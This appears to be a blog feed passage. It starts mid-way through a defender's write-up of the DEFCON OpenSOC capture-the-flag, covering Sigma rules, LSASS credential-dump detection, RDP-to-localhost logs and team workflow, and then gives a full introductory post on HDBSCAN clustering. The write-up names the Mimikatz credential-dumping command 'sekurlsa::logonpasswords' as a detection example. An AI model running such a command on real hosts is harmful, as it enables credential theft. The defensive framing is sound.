<p><a href="https://github.com/Neo23x0/sigma">Sigma</a> is a great resource for detection rules, and you will see that some of the challenges corresponding sigma rule to solve it. This goes hand in hand with the <a href="https://attack.mitre.org/techniques/T1027/">ATT&CK Matrix</a>. You might not be able to read these like a book but this can become a checklist for you to study and detect.</p>
<h4 id="mimikatz-andlsass"><strong>Mimikatz and Lsass</strong></h4>
<p>There was a challenge that asked what particular process was run so that the attacker can dump the memory and extract credentials. This seems very specific how would you even know that?</p>
<p>For us, it helped that we had a red teamer, and even though the executable that was used was not named <code class="language-plaintext highlighter-rouge">mimikatz</code>, he was easily able to identify the common tool based on the parameters when it was used. </p>
<p><strong>Tip 3: Have someone from the red team or use the actual tools and techniques the red team uses. Nothing beats actually using the tools.</strong></p>
<p>But let’s say that you didn’t have a red teamer. You can look at <a href="https://jpcertcc.github.io/ToolAnalysisResultSheet/">the Tool Analysis Result Sheet by JPCERT</a>. They collected the results of 49 popular tools used by attackers. </p>
<p>Here is the example data from JPCERT about <code class="language-plaintext highlighter-rouge">mimikatz > sekurlsa::logonpasswords</code></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*nX04oGU7-YQXCUgoQnQOYQ.png" alt="Main Information Recorded at Execution" />
<em>Main Information Recorded at Execution</em></p>
<p>This is a summary of the events. This helps you understand how using one tool would look like on the logs. If you want sample logs itself, you can check out <a href="https://github.com/hunters-forge/mordor">the Mordor Datasets.</a></p>
<h4 id="where-is-therdp">Where is the RDP?</h4>
<p>In the finals, we got stuck, in one of the questions. It asked what was the hostname and IP address this particular host connected to using RDP. </p>
<p>We looked at the network logs of the host (event id: 3) and moloch and saw that there weren’t any connections from the host to port 3389. We ended up overthinking it. What if the attacker was able to turn off logging at the host? What if the RDP service was in a non-standard port? Are we reading the challenge correctly? </p>
<p>Thankfully, at one point we stopped at recapped. Then we remembered that an attacker can RDP to itself to gain better control of the host from and if the connection is to localhost, no new connection would be made! </p>
<p>We checked the authentication logs (logon type 10) and we saw it. If we didn’t rely solely on network logs, we might have solved the challenge earlier.</p>
<p><strong>Tip 3: Corroborate with other data sources.</strong> In this case, if we looked at both network and authentication logs to confirm our hypothesis, we wouldn’t have gotten stuck.</p>
<p>There is a sigma rule for it in case your curious.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*Kg4-C45ShM5Dy7B7e6CnuQ.png" alt="" /></p>
<h3 id="competition-workflow">Competition Workflow</h3>
<p>In the competition, we had to figure out how we should work together. The type of collaboration is different from what we typically experienced with other CTFs. </p>
<h4 id="teamwork-and-expertise">Teamwork and “Expertise”</h4>
<p>Unlike other CTFs, where you have several categories and each person can work independently with one another, the challenges in this CTF are sequential so you have to find the flags in order. If you’re stuck on one challenge, then you are stuck for the entire scenario. This also means that having a lot more people doesn’t necessarily scale the speed in which you solve the challenges.</p>
<p>What did help us was that different members of our team had different strengths (sadly not all of it was useful to the CTF). We had a variety of people: there was someone who was more comfortable with network and pcaps, one who was a pentester, one who was more on forensics, and one was more on active directory attacks. </p>
<h4 id="prepared-scripts-and-automated-alerts">Prepared scripts and automated alerts?</h4>
<p>Going in we thought we had to go into threat hunting we were prepared to use Sigma rules to query the Elasticsearch backend and get alerts for that. We had some scripts prepared to find beaconing for C2, finding DGA’s in domains, and super simple anomaly detection scripts for traffic (just z-scores and percentiles). Looking up reputations of IoC’s to virustotal or pulsedive. Etc.</p>
<p>In retrospect, if everyone was able to script queries to graylog or elasticsearch, it probably would have overloaded the server. </p>
<p>Also, because of the flow of challenges, everything could be done through manual investigation.</p>
<h4 id="sharing-findings-and-timestamp">Sharing findings and timestamp</h4>
<p>I’ve worked with some of my teammates in an SOC, and we ended up adopting some of the workflows we used during operations, especially with using platform such as <a href="https://github.com/TheHive-Project/TheHive">TheHive</a>.</p>
<p>So we had a channel for each scenario for our findings where we dumped all of our findings as we investigated. This is where we dumped the IoC’s and some queries used in graylog or moloch. And we hopped in and out of voice channels in discord if there were two simultaneous scenarios running.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*-hTc8S3mRqGZiWIRLjC_ug.png" alt="" /></p>
<p>Because of the time pressure, we weren’t as thorough in our note-taking. At some points, we were just sending each other the hostname or IP address, a timestamp, and maybe some small note. </p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IT-42
2020-08-08 14:41:14.202
Port scanning
</code></pre></div></div>
<p>The IP/hostname and timestamp were the bare minimum we need to communicate findings. This was enough for my teammates to hop in to find the next actions of the attacker.</p>
<h3 id="some-comments-andthoughts"><strong>Some comments and thoughts</strong></h3>
<h4 id="resembles-a-real-enterprise-network">Resembles a real enterprise network??</h4>
<p>I don’t completely agree that the OpenSOC reflects a real enterprise network . If it was real, then I imagine things to be much messier. All the necessary logs are turned on, nothing is misconfigured, there are no misbehaving developers, no rogue IT, no VIPs with special treatments, no legacy systems, all of the hosts follow the right conventions. (Also, the network was on the smaller side.)</p>
<p>I guess a more apt description is that this resembles a real mature enterprise network with a world-class SOC. The level of visibility that you have in the OpenSOC network is something any self-respecting SOC should strive for, and it shows it’s possible with just open source tools. </p>
<p>Doing the challenges felt like being an analyst in an SOC with all of the necessary tools and the perfect playbook and I was just following the playbook and SOPs prepared by the team.</p>
<p>It’s like working in my old job, but everything plays nice. The dream.</p>
<h4 id="visibility-is-a-precursor-toai">Visibility is a precursor to “AI”</h4>
<p>It’s easy to get carried away with the promise of behavioral analytics and some fancier AI/ML in security. One of the things that OpenCTF is that you can catch a lot of evil with the right level of visibility in your network.</p>
<p>If you are building an SOC, you start with the basics. Turn on logging. Sync time. Sysmon. DNS. Firewall. Host logs. Centralized logging. SIEM. Essentially try to use the tools that OpenSOC or <a href="https://securityonion.net/">Security Onion</a> uses.</p>
<p>Without these tools, even if you get an alert of “suspicious network activity from 172.16.1.2”, now what? Is it malicious? If you didn’t turn on the right host logs on the host, how will you find what process made that connection?</p>
<p>The AI/ML solutions are most effective when put in the hands of a mature SOC, and it can be expensive.</p>
<h4 id="just-follow-the-breadcrumbs">Just follow the breadcrumbs</h4>
<p>Because of the way challenges are organized and asked, there were parts that felt that you just needed to follow the breadcrumbs rather than actual threat hunting. </p>
<p>I’m not really sure how OpenSOC would be able to implement it. But there can be challenges that actually start at the end/middle of the attack, and then you build the timeline backwards. It would make the types of challenges more varied, and perhaps more difficult.</p>
<p>Here’s an example scenario: <em>An external party informs you that they discovered a dump of your customer data. How did they get the data, how long have the attackers been in the network, and what was their point of entry? </em></p>
<p>And then you can extend this scenario: <em>You realize that the attackers are still lurking in the network. How do they maintain their persistence, and what is their new objective?</em></p>
<p>I think other scenarios can include, insider threats, compromised trusted 3rd parties.</p>
<p>Another way to make the challenges harder is to require the participants to actually hunt for threats in the environment unprompted. Maybe you have several hosts that are actually compromised and you have to identify the hostname and the IP/domain of the C2 channel. There is no limit in the submissions but it is rate limited (You can only submit once per X minutes). If you submit correctly, this will open up the rest of the questions in the scenario. This is much more difficult because you can only unlock the scenario if you find some suspicious activity that warrants an investigation.</p>
<p>You can give clues to the participants through the Canary, or maybe an alert with snort that just goes to graylog. Or querying to a domain that is flagged by some threat intelligence feed. Or host activities at off-peak hours.</p>
<h4 id="other-tools">Other tools?</h4>
<p>We didn’t need to use the Canary and Velociraptor. I wasn’t really familiar with it. But I think the Canary might be useful to be a clue for the unprompted threat hunting I mentioned above.</p>
<h4 id="some-ambiguous-challenges">Some ambiguous challenges</h4>
<p>This is a bit nit-picky, but there were one or two challenges that was worded weirdly so it wasn’t clear what it was asking for.</p>
<p>One that I remember was like <em>“What was the system that this host connected to?”</em>. It wasn’t clear if it should be the hostname, or IP address, or OS (?)… In other challenges the specifically say what to give and what format.</p>
<p>Aside from that the other challenges were okay.</p>
<h4 id="final-words">Final words</h4>
<p>Hope this was somewhat helpful to you. I haven’t really said anything that hasn’t been said before. I’ve just echoed the things that I’ve learned from other peeps. </p>
<p>If you want to be a defender, know your tools and know the techniques of your attacker. This will inform you of what data sources are key to detecting them. You can use the sigma rules and ATT&CK matrix as a knowledge checklist. It also helps to actually use the offensive tools to really understand how they work and how potent they can be.</p>
<p>Overall, OpenSOC CTF was fun! I had a great time and I learned a lot. I hope there are would be more in the future, especially those that are online and open! Good job Recon InfoSec!</p>
<p>Photo by <a href="https://unsplash.com/@mikebaird?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Michael Baird</a> on <a href="https://unsplash.com/s/photos/fortress?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>Pepe BerbaThis year I was able to join the DEFCON 28 Blue Team Village’s OpenSOC CTF since the event was held online. I joined with my team, the hackstreetboys. There were 800+ participants, 500+ challenges, and 350+ teams in the competition which over 20 hours. A gentle introduction to HDBSCAN and density-based clustering2020-07-08T00:00:00+00:002020-07-08T00:00:00+00:00https://pberba.github.io/stats/2020/07/08/intro-hdbscan<p><em>“Hierarchical Density-based Spatial Clustering of Applications with Noise”</em> (What a mouthful…), <strong>HDBSCAN, is one of my go-to clustering algorithms. It’s a method that I feel everyone should include in their data science toolbox</strong>
.</p>
<p>I’ve written about this in <a href="https://pberba.github.io/stats/2020/01/17/hdbscan/">my previous blog post</a>, where I try to explain HDBSCAN in as much depth as I could. This time I am taking the opposite approach: I will try to explain the main ideas HDBSCAN and density-based clustering <strong>as succinctly as I can.</strong></p>
<p>I think (and I hope) that this primer on HDBSCAN would be friendlier for beginners and new-comers in data science</p>
<h3 id="why-density-based-clustering"><strong>Why density-based clustering?</strong></h3>
<p>Let’s start with a sample <a href="https://github.com/lmcinnes/hdbscan/blob/master/notebooks/clusterable_data.npy">data set</a>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*6Plad8ULc5VoOcML5wJjdg.png" alt="" /></p>
<p>If you visually try to identify the clusters, you might identify 6 clusters.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*ubCZDj7CWEbGLCeqpFF43w.png" alt="6 “intuitive” clusters" />
<em>6 “intuitive” clusters</em></p>
<p>Even when provided with the correct number of clusters, K-means clearly gives bad results. Some of the clusters we identified above are separated into two or more clusters. HDBSCAN, on the other hand, gives us the expected clusters.</p>
<p><img src="https://cdn-images-1.medium.com/max/1200/1*_ttZpXcDUmaNmQYwyT2qkQ.png" alt="" /></p>
<p>Unlike K-means, density-based methods work well even when the data isn’t clean and the clusters are weirdly shaped. </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*J9KUOHfsrvRA_thtrPKY-A.png" alt="" /></p>
<p>How does HDBSCAN do this? At a high level, we can simplify the process of density-based clustering into these steps:</p>
<ol>
<li>Estimate the densities </li>
<li>Pick regions of high density</li>
<li>Combine points in these selected regions</li>
</ol>
<h3 id="estimating-densities">Estimating densities </h3>
<p>We need some method to estimate the density around certain points. One common way to do this is by using <strong>“core distance.”</strong> This is the distance of a point to its K-th nearest neighbor. </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*XI359LqPheRAR4me3-jFtg.png" alt="Core distance with K=7" />
<em>Core distance with K=7</em></p>
<p>Points in denser regions would have smaller core distances while points in sparser regions would have larger core distances. <strong>Core distance is what makes these methods “density-based”.</strong></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*eRW_IFZeL1aZ8AL26BwArw.png" alt="" /></p>
<p>Given the core distances, we can derive an estimate of the density by getting the inverse of it. With these estimates, we can get an idea of what the <strong>density landscape</strong> looks like.</p>
<p><img src="https://cdn-images-1.medium.com/max/1200/1*zofmkIOPOKMB5e03p90Jvg.jpeg" alt="Estimated densities from our sample data set" />
<em>Estimated densities from our sample data set</em></p>
<p>If we plot these densities, we can see that the mountains of this density landscape correspond to the different clusters of the data.</p>
<h3 id="simple-cluster-selection">Simple Cluster Selection</h3>
<p>One way to select clusters is to pick a global threshold. By getting the points with densities above the threshold, and grouping these points together, we get our clusters.</p>
<p>Think of this illustration below as a cross-section of the surface plot above.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*txhiQ6wFmrxd0MwCdwU3vQ.png" alt="Two different clusterings based on different thresholds" />
<em>Two different clusterings based on different thresholds</em></p>
<p>Imagine islands on the ocean, where the sea level is the threshold and the different islands are your clusters. The land below the sea level is noise. As the sea level goes down, new islands appear and some islands combine to form bigger islands.</p>
<p>Here are several clusters that result as we lower the sea level. (With K=30)</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*xXarh-oM2hLUUrGvipvoMA.jpeg" alt="" /><br />
<img src="https://cdn-images-1.medium.com/max/600/1*wRYKs5vLfs5C4pJOfNT7Ew.png" style="width:100%" alt="" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*CHhb45CRYl5ZJbpmP__CVQ.jpeg" alt="" />
<img src="https://cdn-images-1.medium.com/max/600/1*U7HVWj4PRJe0c_K_wxq0UA.png" style="width:100%" alt="" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*mPHCPke0wy6xWrqoEusknw.jpeg" alt="" />
<img src="https://cdn-images-1.medium.com/max/600/1*pyLU6QpShSpAJfTfn0Yn2A.png" style="width:100%" alt="" /></p>
<p>This approach is close to what DBSCAN does. Although simple, <strong>this requires us to find the proper threshold to get meaningful clusters. </strong></p>
<p>If you set the threshold too high, too many points are considered noise and you have under grouping. If you set it too low, you might over group the points, and everything is just one cluster.</p>
<h3 id="cluster-selection-for-varying-densities">Cluster Selection for varying densities</h3>
<p><strong>With the global threshold method, you might have a hard time when the clusters have varying densities.</strong> If we use just one threshold in the example below, we either over-group the blue and yellow clusters or we fail to include the entire red cluster.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*UUz0AP4zSKkUt5IVkl0WSg.png" alt="Optimal clustering requires different thresholds" />
<em>Optimal clustering requires different thresholds</em></p>
<p>You might be tempted to think that each peak in the density should be one cluster, however, this will not always be optimal. </p>
<p>Look at the image below. On the left, there should be 3 clusters, and on the right, there should be 2 clusters.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*ZgaGZYtFrvXfXQha_y2kHg.png" alt="" /></p>
<p>HDBSCAN first builds a hierarchy to figure out which peaks end up merging together and in what order, and then for each cluster it asks, <strong>is it better to keep this cluster or split it up into its subclusters</strong>? In the image above, should we pick the <em>blue and yellow</em> regions or the <em>green region</em> only?</p>
<p>Given the density landscape, you can think of each mountain is one cluster. We have to decide whether or not two peaks are part of the same mountain. <em>Are there two mountains, or just one mountain with two peaks? </em></p>
<p>Below are examples that illustrate this point</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*2yX4kltav0rEaDyMddeEZw.jpeg" alt="“3 cluster data set”" />
<em>“3 cluster data set”</em>
<img src="https://cdn-images-1.medium.com/max/800/1*u9OQ3z9oOxK_tnzU_jAAPQ.jpeg" alt="“2 cluster data set”" />
<em>“2 cluster data set”</em></p>
<p>If you use the sklearn’s HDBSCAN, you can plot the cluster hierarchy.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*rWmux9oRT-5cPtfK6i3TNA.jpeg" alt="" /></p>
<p>To choose, we look at which one “persists” more. Do we see the peaks more together or apart? Cluster stability (persistence) is represented by the areas of the different colored regions in the hierarchy plot. We use cluster stability to answer our mountain question.</p>
<p>When the two peaks are actually two mountains, the sum of the volume of the two peaks is larger than the volume of their base. When the peaks are just features of a single mountain, then the volume of the base would be larger than the sum of the peaks’ volume.</p>
<p><strong>Using this heuristic, HDBSCAN is able to decide whether or not to subdivide a cluster to its subclusters</strong>. By doing so, it automatically chooses which clusters to extract.</p>
<h3 id="conclusion-and-further-resources">Conclusion and further resources</h3>
<ol>
<li>We estimate densities based on core distances and form <strong>the density landscape</strong> (what makes these density-based)</li>
<li>We can use a global threshold to <strong>set the sea level at and identify the islands</strong> (DBSCAN)</li>
<li>We can try to decide, <strong>are these several mountains or one mountain with multiple peaks</strong>? (HDBSCAN)</li>
</ol>
<p>I hope this gives you the gist how DBSCAN/HDBSCAN works and what makes these methods “density based”. Other methods such as OPTICS or DeBaCl use similar concepts but differ in the way they choose the regions.</p>
<p>If you want to know more about the statistical motivation for HDBSCAN, implementation details of how points are combined together, or how HDBSCAN builds the hierarchy you can <a href="https://pberba.github.io/stats/2020/01/17/hdbscan/">check out blog post</a> where I go into much more detail.</p>
<p>Technical Note: The estimated densities plotted here isn’t just <code class="language-plaintext highlighter-rouge">1 / core_distance</code>. I had to apply some transformation to the data to make it more visually appealing.</p>
<p><br /></p>
<hr />
<p><br /></p>
<p><a href="https://pberba.github.io/stats/2020/01/17/hdbscan/" title="https://pberba.github.io/stats/2020/01/17/hdbscan/"><strong>Understanding HDBSCAN and Density-Based Clustering</strong> pberba.github.io</a><a href="https://pberba.github.io/stats/2020/01/17/hdbscan/"></a></p>
<p><a href="https://hdbscan.readthedocs.io/en/latest/how_hdbscan_works.html" title="https://hdbscan.readthedocs.io/en/latest/how_hdbscan_works.html"><strong>How HDBSCAN Works - hdbscan 0.8.1 documentation</strong> hdbscan.readthedocs.io</a><a href="https://hdbscan.readthedocs.io/en/latest/how_hdbscan_works.html"></a></p>
<p><a href="https://arxiv.org/abs/1705.07321" title="https://arxiv.org/abs/1705.07321"><strong>Accelerated Hierarchical Density Clustering</strong> arxiv.org</a><a href="https://arxiv.org/abs/1705.07321"></a></p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/dGsxd67IFiU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<p><a href="https://unsplash.com/photos/sL0xKYbb04w">Photo by Markos Mant</a></p>Pepe Berba“Hierarchical Density-based Spatial Clustering of Applications with Noise” (What a mouthful…), HDBSCAN, is one of my go-to clustering algorithms. It’s a method that I feel everyone should include in their data science toolbox .